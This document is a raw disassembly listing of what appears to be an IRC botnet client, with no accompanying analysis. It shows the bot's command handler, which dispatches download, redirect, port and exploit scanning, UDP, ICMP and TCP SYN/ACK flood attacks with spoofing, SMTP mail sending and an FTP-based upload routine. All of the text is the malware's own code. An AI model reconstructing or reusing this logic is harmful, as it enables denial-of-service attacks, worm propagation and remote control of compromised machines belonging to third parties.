test eax, eax pop ecx jnz loc_406B7E push 7Fh lea eax, [ebp+var_36A4] pop esi push esi ; Count push [ebp+Source] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3624] push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_35A4] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3524] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+Dst] push edi mov [ebp+var_36A8], esi push [ebp+Source] push offset asc_442E48 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 10h ; int push eax ; Source call sub_40B756 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset sub_4140A7 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_406B6D loc_406B57: ; CODE XREF: sub_401CC7+4EA4j cmp [ebp+var_3498], ebx jnz loc_4074F3 push 32h call ds:dword_4F534C ; Sleep jmp short loc_406B57 ; --------------------------------------------------------------------------- loc_406B6D: ; CODE XREF: sub_401CC7+4E8Ej call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_442E78 jmp loc_4074E4 ; --------------------------------------------------------------------------- loc_406B7E: ; CODE XREF: sub_401CC7+4DC9j push [ebp+arg_8] ; Str2 push offset aPhatwonk ; "phatwonk" call _strcmp pop ecx test eax, eax pop ecx jz loc_40800B push [ebp+arg_8] ; Str2 push offset aWonk ; "wonk" call _strcmp pop ecx test eax, eax pop ecx jz loc_40800B push [ebp+arg_8] ; Str2 push offset aDownload ; "download" call _strcmp pop ecx test eax, eax pop ecx jz loc_407ECD push [ebp+arg_8] ; Str2 push offset aDl ; "dl" call _strcmp pop ecx test eax, eax pop ecx jz loc_407ECD push [ebp+arg_8] ; Str2 push offset aRedirect ; "redirect" call _strcmp pop ecx test eax, eax pop ecx jz loc_407DD0 push [ebp+arg_8] ; Str2 push offset aRd ; "rd" call _strcmp pop ecx test eax, eax pop ecx jz loc_407DD0 push [ebp+arg_8] ; Str2 push offset aScan_0 ; "scan" call _strcmp pop ecx test eax, eax pop ecx jz loc_407CDD push [ebp+arg_8] ; Str2 push offset aSc ; "sc" call _strcmp pop ecx test eax, eax pop ecx jz loc_407CDD push [ebp+arg_8] ; Str2 push offset aC_privmsg ; "c_privmsg" call _strcmp pop ecx test eax, eax pop ecx jz loc_407BD8 push [ebp+arg_8] ; Str2 push offset aC_pm ; "c_pm" call _strcmp pop ecx test eax, eax pop ecx jz loc_407BD8 push [ebp+arg_8] ; Str2 push offset aC_action ; "c_action" call _strcmp pop ecx test eax, eax pop ecx jz loc_407AE0 push [ebp+arg_8] ; Str2 push offset aC_a ; "c_a" call _strcmp pop ecx test eax, eax pop ecx jz loc_407AE0 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_402085 push [ebp+arg_8] ; Str2 push offset aPortscan ; "portscan" call _strcmp pop ecx test eax, eax pop ecx jz loc_4079DA push [ebp+arg_8] ; Str2 push offset aPsc ; "psc" call _strcmp pop ecx test eax, eax pop ecx jz loc_4079DA push [ebp+arg_8] ; Str2 push offset aAdvscan ; "advscan" call _strcmp pop ecx test eax, eax pop ecx jz loc_407513 push [ebp+arg_8] ; Str2 push offset aAsc ; "asc" call _strcmp pop ecx test eax, eax pop ecx jz loc_407513 push [ebp+arg_8] ; Str2 push offset aUdpflood ; "udpflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_4073CA push [ebp+arg_8] ; Str2 push offset aUdp ; "udp" call _strcmp pop ecx test eax, eax pop ecx jz loc_4073CA push [ebp+arg_8] ; Str2 push offset aU ; "u" call _strcmp pop ecx test eax, eax pop ecx jz loc_4073CA push [ebp+arg_8] ; Str2 push offset aNetsend ; "netsend" call _strcmp pop ecx test eax, eax pop ecx jz loc_4072BC push [ebp+arg_8] ; Str2 push offset aNs ; "ns" call _strcmp pop ecx test eax, eax pop ecx jz loc_4072BC push [ebp+arg_8] ; Str2 push offset aPingflood ; "pingflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_407192 push [ebp+arg_8] ; Str2 push offset aPing_0 ; "ping" call _strcmp pop ecx test eax, eax pop ecx jz loc_407192 push [ebp+arg_8] ; Str2 push offset aP ; "p" call _strcmp pop ecx test eax, eax pop ecx jz loc_407192 push [ebp+arg_8] ; Str2 push offset aTcpflood ; "tcpflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_406FE9 push [ebp+arg_8] ; Str2 push offset aTcp ; "tcp" call _strcmp pop ecx test eax, eax pop ecx jz loc_406FE9 push [ebp+arg_8] ; Str2 push offset aEmail ; "email" call _strcmp pop ecx test eax, eax pop ecx jnz loc_406F91 push [ebp+Source] ; Source lea eax, [ebp+var_47EC] push eax ; Dest call _strcpy push edi ; Str call _atoi push [ebp+Src] ; Source mov [ebp+Source], eax lea eax, [ebp+var_4188] push eax ; Dest call _strcpy push [ebp+arg_18] ; Source lea eax, [ebp+var_4588] push eax ; Dest call _strcpy push offset asc_443650 ; " " push offset a__1 ; "_" push [ebp+esi+var_7C] ; Src call sub_418C07 push eax ; Source lea eax, [ebp+var_4288] push eax ; Dest call _strcpy add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4E3068 ; WSAStartup lea eax, [ebp+var_47EC] push eax call dword_4E317C ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_4E3178 ; socket push [ebp+Source] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4E30F8 ; htons mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax ; Dest call _sprintf add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4E30A0 ; connect mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4E3110 ; recv lea eax, [ebp+var_4088] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4E3148 ; send push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4E3110 ; recv push esi call dword_4E3190 ; closesocket call dword_4E3050 ; WSACleanup lea eax, [ebp+var_4588] push eax push offset asc_4436A4 ; "-" loc_406F4A: ; CODE XREF: sub_401CC7+2E73j ; sub_401CC7+45C7j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf loc_406F56: ; CODE XREF: sub_401CC7+247Cj add esp, 0Ch loc_406F59: ; CODE XREF: sub_401CC7+457Cj ; sub_401CC7+66D4j ... cmp [ebp+var_8], ebx jnz short loc_406F7A push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h loc_406F7A: ; CODE XREF: sub_401CC7+29A3j ; sub_401CC7+29F6j ... mov esi, [ebp+File] loc_406F7D: ; CODE XREF: sub_401CC7+6973j ; sub_401CC7+7998j ... lea eax, [ebp+Dst] push eax call sub_415C3F pop ecx mov eax, esi jmp loc_402088 ; --------------------------------------------------------------------------- loc_406F91: ; CODE XREF: sub_401CC7+512Dj push [ebp+arg_8] ; Str2 push offset aHttpcon ; "httpcon" call _strcmp pop ecx test eax, eax pop ecx jz short loc_406FBB push [ebp+arg_8] ; Str2 push offset aHcon ; "hcon" call _strcmp pop ecx test eax, eax pop ecx jnz loc_407563 loc_406FBB: ; CODE XREF: sub_401CC7+52DBj push [ebp+esi+var_7C] ; int push [ebp+arg_18] ; int push [ebp+Src] ; int push edi ; Str call _atoi pop ecx push eax ; int push [ebp+Source] ; int push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_410B5C jmp loc_404295 ; --------------------------------------------------------------------------- loc_406FE9: ; CODE XREF: sub_401CC7+50FFj ; sub_401CC7+5116j push [ebp+Source] ; Format mov esi, 80h lea eax, [ebp+var_1354] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+var_1354] push eax ; Str2 push offset aSyn_0 ; "syn" call _strcmp add esp, 14h test eax, eax jz short loc_40704E lea eax, [ebp+var_1354] push eax ; Str2 push offset aAck ; "ack" call _strcmp pop ecx test eax, eax pop ecx jz short loc_40704E lea eax, [ebp+var_1354] push eax ; Str2 push offset aRandom_0 ; "random" call _strcmp pop ecx test eax, eax pop ecx jz short loc_40704E push offset unk_44361C jmp loc_40717F ; --------------------------------------------------------------------------- loc_40704E: ; CODE XREF: sub_401CC7+534Dj ; sub_401CC7+5364j ... push [ebp+arg_18] ; Str call _atoi cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_40717A push [ebp+Source] ; Format lea eax, [ebp+var_1354] push esi ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_13D4] push edi ; Format push esi ; Count push eax ; Dest call __snprintf push [ebp+Src] ; Str call _atoi mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+Format] ; Format setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_4070EB mov eax, offset aNormal ; "Normal" loc_4070EB: ; CODE XREF: sub_401CC7+541Dj push [ebp+arg_18] push [ebp+Src] push edi push [ebp+Source] push eax push offset asc_443578 ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 14h ; int push eax ; Source call sub_40B756 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset sub_4148B6 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_407169 loc_407153: ; CODE XREF: sub_401CC7+54A0j cmp [ebp+var_123C], ebx jnz loc_408506 push 32h call ds:dword_4F534C ; Sleep jmp short loc_407153 ; --------------------------------------------------------------------------- loc_407169: ; CODE XREF: sub_401CC7+548Aj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_4435AC jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_40717A: ; CODE XREF: sub_401CC7+5398j push offset asc_4435E4 ; "-" loc_40717F: ; CODE XREF: sub_401CC7+2009j ; sub_401CC7+201Fj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_408506 ; --------------------------------------------------------------------------- loc_407192: ; CODE XREF: sub_401CC7+50BAj ; sub_401CC7+50D1j ... cmp dword_4E31E8, ebx jnz loc_4072A1 mov eax, [ebp+var_8] push 7Fh ; Count push [ebp+Source] ; Source mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax ; Dest call _strncpy push edi ; Str call _atoi push [ebp+Src] ; Str mov [ebp+var_100C], eax call _atoi push [ebp+arg_18] ; Str mov [ebp+var_1008], eax call _atoi push 7Fh ; Count mov [ebp+var_1004], eax push [ebp+Format] ; Source lea eax, [ebp+var_110C] push eax ; Dest call _strncpy mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+Dst] push [ebp+var_100C] push offset asc_4434B0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 16h ; int push eax ; Source call sub_40B756 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset sub_413D05 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_407290 loc_40727A: ; CODE XREF: sub_401CC7+55C7j cmp [ebp+var_FF0], ebx jnz loc_408506 push 32h call ds:dword_4F534C ; Sleep jmp short loc_40727A ; --------------------------------------------------------------------------- loc_407290: ; CODE XREF: sub_401CC7+55B1j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_4434F8 jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_4072A1: ; CODE XREF: sub_401CC7+54D1j push 1FFh ; Count lea eax, [ebp+Dst] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax ; Dest call _strncpy jmp loc_408503 ; --------------------------------------------------------------------------- loc_4072BC: ; CODE XREF: sub_401CC7+508Cj ; sub_401CC7+50A3j push edi lea eax, [ebp+Dst] push [ebp+Source] push [ebp+Src] push offset asc_4433BC ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 push [ebp+Src] ; Str call _strlen mov edx, eax push edi ; Str mov edi, edx call _strlen push [ebp+Source] ; Str add edi, eax call _strlen push [ebp+arg_8] ; Str add edi, eax call _strlen add eax, [ebp+var_C] push [ebp+arg_18] ; SubStr lea eax, [eax+edi+7] push eax ; Str call _strstr add esp, 40h mov [ebp+arg_C], eax push [ebp+Src] ; Str call _atoi mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_4073B6 loc_40733F: ; CODE XREF: sub_401CC7+569Cj push [ebp+arg_C] ; int push edi ; int push [ebp+Source] ; Source call sub_419471 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_407367 cmp eax, ebx jnz short loc_407386 inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_40733F jmp short loc_4073BF ; --------------------------------------------------------------------------- loc_407367: ; CODE XREF: sub_401CC7+568Dj push ebx ; int push [ebp+var_4] ; int push offset unk_4433F8 ; int loc_407370: ; CODE XREF: sub_401CC7+5701j push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h jmp loc_407563 ; --------------------------------------------------------------------------- loc_407386: ; CODE XREF: sub_401CC7+5691j push [ebp+arg_1C] lea eax, [ebp+Dst] push offset asc_443430 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 20h loc_4073B6: ; CODE XREF: sub_401CC7+5676j cmp [ebp+arg_1C], ebx jnz loc_407563 loc_4073BF: ; CODE XREF: sub_401CC7+569Ej push ebx push [ebp+var_4] push offset unk_443464 jmp short loc_407370 ; --------------------------------------------------------------------------- loc_4073CA: ; CODE XREF: sub_401CC7+5047j ; sub_401CC7+505Ej ... mov eax, [ebp+var_8] push 7Fh ; Count push [ebp+Source] ; Source mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax ; Dest call _strncpy push edi ; Str call _atoi push [ebp+Src] ; Str mov [ebp+var_C7C], eax call _atoi push [ebp+arg_18] ; Str mov [ebp+var_C78], eax call _atoi mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_40742F push esi ; Str call _atoi pop ecx mov [ebp+var_C70], eax jmp short loc_407435 ; --------------------------------------------------------------------------- loc_40742F: ; CODE XREF: sub_401CC7+5757j mov [ebp+var_C70], ebx loc_407435: ; CODE XREF: sub_401CC7+5766j push 7Fh ; Count lea eax, [ebp+var_D7C] push [ebp+Format] ; Source push eax ; Dest call _strncpy add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+Dst] push [ebp+var_C7C] push offset asc_443330 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 17h ; int push eax ; Source call sub_40B756 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset sub_413E91 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_4074D8 loc_4074C6: ; CODE XREF: sub_401CC7+580Fj cmp [ebp+var_C60], ebx jnz short loc_4074F3 push 32h call ds:dword_4F534C ; Sleep jmp short loc_4074C6 ; --------------------------------------------------------------------------- loc_4074D8: ; CODE XREF: sub_401CC7+57FDj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset asc_443378 ; "-" loc_4074E4: ; CODE XREF: sub_401CC7+4EB2j ; sub_401CC7+633Fj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_4074F3: ; CODE XREF: sub_401CC7+4E96j ; sub_401CC7+5805j ... cmp [ebp+var_8], ebx jnz loc_408637 push ebx push [ebp+var_4] loc_407500: ; CODE XREF: sub_401CC7+22CFj lea eax, [ebp+Dst] push eax push [ebp+Format] push esi jmp loc_408523 ; --------------------------------------------------------------------------- loc_407513: ; CODE XREF: sub_401CC7+5019j ; sub_401CC7+5030j push 0Bh call sub_40B99E push edi ; Str mov [ebp+arg_1C], eax call _atoi add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_4076CF push [ebp+arg_1C] lea eax, [ebp+Dst] push offset asc_4431C0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 20h loc_407563: ; CODE XREF: sub_401CC7+52EEj ; sub_401CC7+56BAj ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_402085 push [ebp+arg_8] ; Str2 push offset aUpload ; "upload" call _strcmp pop ecx test eax, eax pop ecx jnz loc_409B16 push 4 push esi call sub_417471 pop ecx test eax, eax pop ecx jnz short loc_40759F push esi push offset unk_4436E0 jmp loc_408F7E ; --------------------------------------------------------------------------- loc_40759F: ; CODE XREF: sub_401CC7+58CBj call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand pop ecx call _rand push 9 cdq pop ecx idiv ecx push edx call _rand push 63h cdq pop ecx idiv ecx push edx call _rand cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+Filename] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax ; Dest call _sprintf lea eax, [ebp+Filename] push offset Mode ; "ab" push eax ; Filename call _fopen add esp, 20h cmp eax, ebx mov [ebp+File], eax jz loc_402085 push esi push [ebp+arg_18] push [ebp+Src] push edi push [ebp+Source] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax ; File call _fprintf push [ebp+File] ; File call _fclose add esp, 20h lea eax, [ebp+Filename] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen_0 ; "open" push ebx call dword_4E3064 push [ebp+Source] test eax, eax push esi ; Format jz short loc_40766E push offset unk_443750 jmp short loc_407673 ; --------------------------------------------------------------------------- loc_40766E: ; CODE XREF: sub_401CC7+599Ej push offset asc_443778 ; "-" loc_407673: ; CODE XREF: sub_401CC7+59A5j call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40769C push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h loc_40769C: ; CODE XREF: sub_401CC7+59B7j lea eax, [ebp+Dst] push eax call sub_415C3F loc_4076A8: ; CODE XREF: sub_401CC7+5A06j lea eax, [ebp+Filename] push 4 push eax call sub_417471 add esp, 0Ch test eax, eax jz loc_402085 lea eax, [ebp+Filename] push eax call sub_41F6D0 jmp short loc_4076A8 ; --------------------------------------------------------------------------- loc_4076CF: ; CODE XREF: sub_401CC7+5866j push [ebp+Source] ; Str call _atoi push edi ; Str mov [ebp+var_370], eax call _atoi push [ebp+Src] ; Str mov [ebp+var_358], eax call _atoi add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_407708 push 5 pop eax mov [ebp+var_36C], eax loc_407708: ; CODE XREF: sub_401CC7+5A36j push 3Ch pop ecx cmp eax, ecx jbe short loc_407715 mov [ebp+var_36C], ecx loc_407715: ; CODE XREF: sub_401CC7+5A46j push [ebp+arg_18] ; Str call _atoi mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_407737 mov [ebp+var_368], eax loc_407737: ; CODE XREF: sub_401CC7+5A68j or [ebp+var_354], 0FFFFFFFFh cmp dword_448220, ebx mov [ebp+arg_20], ebx jz short loc_407786 mov edi, offset dword_448220 loc_40774E: ; CODE XREF: sub_401CC7+5AA1j push [ebp+Source] ; Str2 lea eax, [edi-28h] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40776C inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_40774E jmp short loc_407786 ; --------------------------------------------------------------------------- loc_40776C: ; CODE XREF: sub_401CC7+5A97j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_448220[ecx] mov [ebp+var_370], ecx loc_407786: ; CODE XREF: sub_401CC7+5A80j ; sub_401CC7+5AA3j cmp [ebp+var_370], ebx jnz short loc_407798 push offset unk_443200 jmp loc_40717F ; --------------------------------------------------------------------------- loc_407798: ; CODE XREF: sub_401CC7+5AC5j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+Src], edi jz short loc_4077D3 cmp byte ptr [edi], 23h jz short loc_4077D3 push edi ; Format lea eax, [ebp+var_484] push 10h ; Count push eax ; Dest call __snprintf push 78h ; Val push edi ; Str call _strchr add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_4078AD ; --------------------------------------------------------------------------- loc_4077D3: ; CODE XREF: sub_401CC7+5ADAj ; sub_401CC7+5ADFj cmp [ebp+var_8FF], bl jnz short loc_4077F5 cmp [ebp+var_8FE], bl jnz short loc_4077F5 cmp [ebp+var_8EE], bl jnz short loc_4077F5 push offset unk_443234 jmp loc_40717F ; --------------------------------------------------------------------------- loc_4077F5: ; CODE XREF: sub_401CC7+5B12j ; sub_401CC7+5B1Aj ... push 10h lea eax, [ebp+var_2D8] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D8], edi push [ebp+arg_4] call dword_4E309C ; getsockname mov al, [ebp+var_8FF] push edi ; Args neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] ; Count call dword_4E3184 ; inet_ntoa push eax ; Source lea eax, [ebp+var_484] push eax ; Dest call _strncpy add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_4078A7 xor eax, eax cmp [ebp+var_8FF], bl push 30h ; Ch setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax ; Str call _strrchr pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+File+3], bl jle short loc_40789B loc_407879: ; CODE XREF: sub_401CC7+5BD2j cmp eax, ebx jz short loc_40789B mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h ; Ch push eax ; Str call _strrchr inc byte ptr [ebp+File+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+File+3] cmp ecx, edi jl short loc_407879 loc_40789B: ; CODE XREF: sub_401CC7+5BB0j ; sub_401CC7+5BB4j mov [ebp+var_344], 1 jmp short loc_4078AD ; --------------------------------------------------------------------------- loc_4078A7: ; CODE XREF: sub_401CC7+5B8Aj mov [ebp+var_344], ebx loc_4078AD: ; CODE XREF: sub_401CC7+5B07j ; sub_401CC7+5BDEj mov eax, [ebp+arg_4] push [ebp+Format] ; Format mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi ; Count push eax ; Dest call __snprintf mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_4078FE loc_4078EB: ; CODE XREF: sub_401CC7+5C5Aj push esi ; Format loc_4078EC: ; CODE XREF: sub_401CC7+5C44j lea eax, [ebp+var_3F4] push edi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_407929 ; --------------------------------------------------------------------------- loc_4078FE: ; CODE XREF: sub_401CC7+5C22j mov eax, [ebp+Src] cmp eax, ebx jz short loc_40790D cmp byte ptr [eax], 23h jnz short loc_40790D push eax jmp short loc_4078EC ; --------------------------------------------------------------------------- loc_40790D: ; CODE XREF: sub_401CC7+5C3Cj ; sub_401CC7+5C41j mov esi, offset a2 ; "#2" push offset byte_4E2FB0 ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4078EB mov [ebp+var_3F4], bl loc_407929: ; CODE XREF: sub_401CC7+5C35j cmp [ebp+var_344], ebx mov eax, offset aRandom_1 ; "Random" jnz short loc_40793B mov eax, offset aSequential_0 ; "Sequential" loc_40793B: ; CODE XREF: sub_401CC7+5C6Dj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+Dst] push offset asc_44327C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B756 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset sub_40CB69 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_4079C9 loc_4079B3: ; CODE XREF: sub_401CC7+5D00j cmp [ebp+var_340], ebx jnz loc_408506 push 32h call ds:dword_4F534C ; Sleep jmp short loc_4079B3 ; --------------------------------------------------------------------------- loc_4079C9: ; CODE XREF: sub_401CC7+5CEAj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_4432E4 jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_4079DA: ; CODE XREF: sub_401CC7+4FEBj ; sub_401CC7+5002j push [ebp+Source] call sub_40AE55 push edi ; Str mov [ebp+var_4E0], eax call _atoi push [ebp+Src] ; Str mov [ebp+var_4F0], eax call _atoi push [ebp+arg_18] ; Str mov [ebp+var_4EC], eax call _atoi mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax ; Dest call _strncpy add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4E3184 ; inet_ntoa push eax lea eax, [ebp+Dst] push offset asc_443128 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B756 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset sub_40CF86 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_407ACF loc_407AB9: ; CODE XREF: sub_401CC7+5E06j cmp [ebp+var_4D0], ebx jnz loc_403F8B push 32h call ds:dword_4F534C ; Sleep jmp short loc_407AB9 ; --------------------------------------------------------------------------- loc_407ACF: ; CODE XREF: sub_401CC7+5DF0j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_443178 jmp loc_403F7C ; --------------------------------------------------------------------------- loc_407AE0: ; CODE XREF: sub_401CC7+4FAEj ; sub_401CC7+4FC5j push [ebp+Source] ; Str call _atoi imul eax, 234h pop ecx cmp byte_456030[eax], bl jz loc_409B16 cmp [ebp+var_C], ebx jz loc_409B16 push edi ; Str call _strlen push [ebp+Source] ; Str mov esi, eax call _strlen push [ebp+arg_8] ; Str add esi, eax call _strlen add eax, [ebp+var_C] push [ebp+Src] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr add esp, 14h mov esi, eax lea eax, [ebp+Dst] push esi push offset dword_4430FC ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp esi, ebx jz loc_409B16 push [ebp+Source] ; Str call _atoi test eax, eax pop ecx jle loc_409B16 push [ebp+Source] ; Str call _atoi cmp eax, 400h pop ecx jge loc_409B16 push ebx ; int lea eax, [ebp+Dst] push ebx ; int push eax ; int push edi ; Str push [ebp+Source] ; Str call _atoi imul eax, 234h pop ecx push dword_456024[eax] ; int call sub_409D34 push [ebp+Source] ; 